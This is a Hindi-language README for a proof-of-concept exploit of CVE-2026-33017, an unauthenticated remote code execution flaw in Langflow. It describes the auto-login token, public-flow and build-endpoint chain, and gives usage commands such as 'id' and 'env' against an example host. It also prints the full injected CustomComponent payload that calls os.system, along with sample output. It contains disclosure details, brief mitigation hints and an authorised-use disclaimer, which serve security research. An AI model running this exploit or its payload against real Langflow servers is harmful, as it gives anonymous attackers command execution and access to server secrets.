
CVE-2026-33017 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो दुर्भावनापूर्ण CustomComponent कोड इंजेक्शन के माध्यम से कमजोर Langflow संस्करणों में अनधिकृत रिमोट कोड निष्पादन को प्रदर्शित करता है।
CVE ID: CVE-2026-33017
प्रभावित सॉफ़्टवेयर: Langflow
असुरक्षित संस्करण: <= 1.8.2
ठीक किया गया संस्करण: >= 1.9.0
गंभीरता: गंभीर
लेखक: arensballiu
दिनांक: 2026
Langflow एक सार्वजनिक फ़्लो बिल्ड एंडपॉइंट (/api/v1/build_public_tmp/{flowID}/flow) को उजागर करता है जो
मनमाने CustomComponent कोड ब्लॉक स्वीकार करता है और उन्हें बिना प्रमाणीकरण के सर्वर-साइड पर निष्पादित करता है। एक CustomComponent नोड के code फ़ील्ड में
दुर्भावनापूर्ण Python पेलोड इंजेक्ट करके, एक अनधिकृत
हमलावर Langflow सर्वर प्रक्रिया के विशेषाधिकारों के साथ मनमाने ऑपरेटिंग सिस्टम कमांड चला सकता है।
हमला श्रृंखला पहले /api/v1/auto_login एंडपॉइंट का दुरुपयोग करती है, जो Langflow के डिफ़ॉल्ट ऑटो-लॉगिन कॉन्फ़िगरेशन में चलने पर बिना क्रेडेंशियल के बियरर टोकन जारी करता है। फिर यह उस टोकन का उपयोग करके एक अस्थायी सार्वजनिक फ़्लो बनाता है और बिल्ड एंडपॉइंट के माध्यम से सर्वर-साइड कोड निष्पादन को ट्रिगर करता है।
एक docker फ़ाइल शामिल है जो langflow स्थापित और चल रहे एक docker इंस्टेंस को बनाती है।
| एंडपॉइंट | विधि | प्रमाणीकरण आवश्यक | उद्देश्य |
|---|---|---|---|
/api/v1/auto_login | GET | नहीं | बियरर टोकन प्राप्त करें (ऑटो-लॉगिन सक्षम होना चाहिए) |
/api/v1/flows/ | POST | हाँ (Bearer) | एक नया फ़्लो बनाएँ |
/api/v1/build_public_tmp/{flowID}/flow | POST | नहीं (सार्वजनिक) | बिल्ड ट्रिगर करें — असुरक्षित निष्पादन बिंदु |
/api/v1/flows/{flowID} | DELETE | हाँ (Bearer) | बनाए गए फ़्लो को साफ़ करें |
फ़ाइल: CVE-2026-33017_POC.py
requests लाइब्रेरीpip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
| फ़्लैग | लंबा रूप | आवश्यक | विवरण |
|---|---|---|---|
-u | --url | हाँ | Langflow इंस्टेंस का बेस URL |
-c | --command | हाँ | सर्वर पर निष्पादित करने के लिए OS कमांड |
-d | --delete | नहीं | शोषण के बाद बनाए गए फ़्लो को हटाएँ |
कोड निष्पादन सत्यापित करें:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
सर्वर पर्यावरण चर प्राप्त करें:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
शोषण के बाद फ़्लो को जीवित रखें (क्लीनअप छोड़ें):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
एक्सप्लॉइट एक CustomComponent नोड के code फ़ील्ड में निम्नलिखित Python स्निपेट इंजेक्ट करता है:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - गतिशील रूप से os मॉड्यूल आयात करता है और सर्वर पर हमलावर-आपूर्त किए गए शेल कमांड को निष्पादित करता है।CustomComponent है जो Langflow के कंपोनेंट लोडर को पार्स त्रुटि उत्पन्न किए बिना संतुष्ट करने के लिए आवश्यक है।PUBLIC के रूप में बनाया जाता है और बिल्ड एंडपॉइंट को उसके सार्वजनिक एंडपॉइंट पर आमंत्रित किया जाता है, जिसका अर्थ है कि निष्पादन को ट्रिगर करने के लिए किसी सत्र कुकी या प्रमाणीकरण टोकन की आवश्यकता नहीं है।Langflow की CustomComponent प्रणाली फ़्लो परिभाषा के भाग के रूप में मनमाने Python कोड को सबमिट करने की अनुमति देती है। /api/v1/build_public_tmp/{flowID}/flow एंडपॉइंट इस कोड को सर्वर-साइड पर बनाता और आंशिक रूप से मूल्यांकन करता है, जिसमें मॉड्यूल-स्तरीय कथन भी शामिल हैं, बिना सैंडबॉक्सिंग या __import__ जैसे Python बिल्ट-इन्स तक पहुँच को प्रतिबंधित किए।
1. GET /api/v1/auto_login → बियरर टोकन प्राप्त करें (कोई क्रेडेंशियल आवश्यक नहीं)
2. POST /api/v1/flows/ → एक PUBLIC फ़्लो बनाएँ (बियरर टोकन)
3. POST /api/v1/build_public_tmp/ → दुर्भावनापूर्ण CustomComponent इंजेक्ट और निष्पादित करें (कोई प्रमाणीकरण नहीं)
4. DELETE /api/v1/flows/{id} → साफ़ करें (वैकल्पिक)
सभी चार चरण एक अनाम हमलावर द्वारा डिफ़ॉल्ट Langflow परिनियोजन के विरुद्ध किए जा सकते हैं।
LANGFLOW_AUTO_LOGIN=false)।यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। स्पष्ट लिखित अनुमति के बिना सिस्टम के विरुद्ध इस स्क्रिप्ट का उपयोग अवैध और अनैतिक है। लेखक और योगदानकर्ता दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते हैं।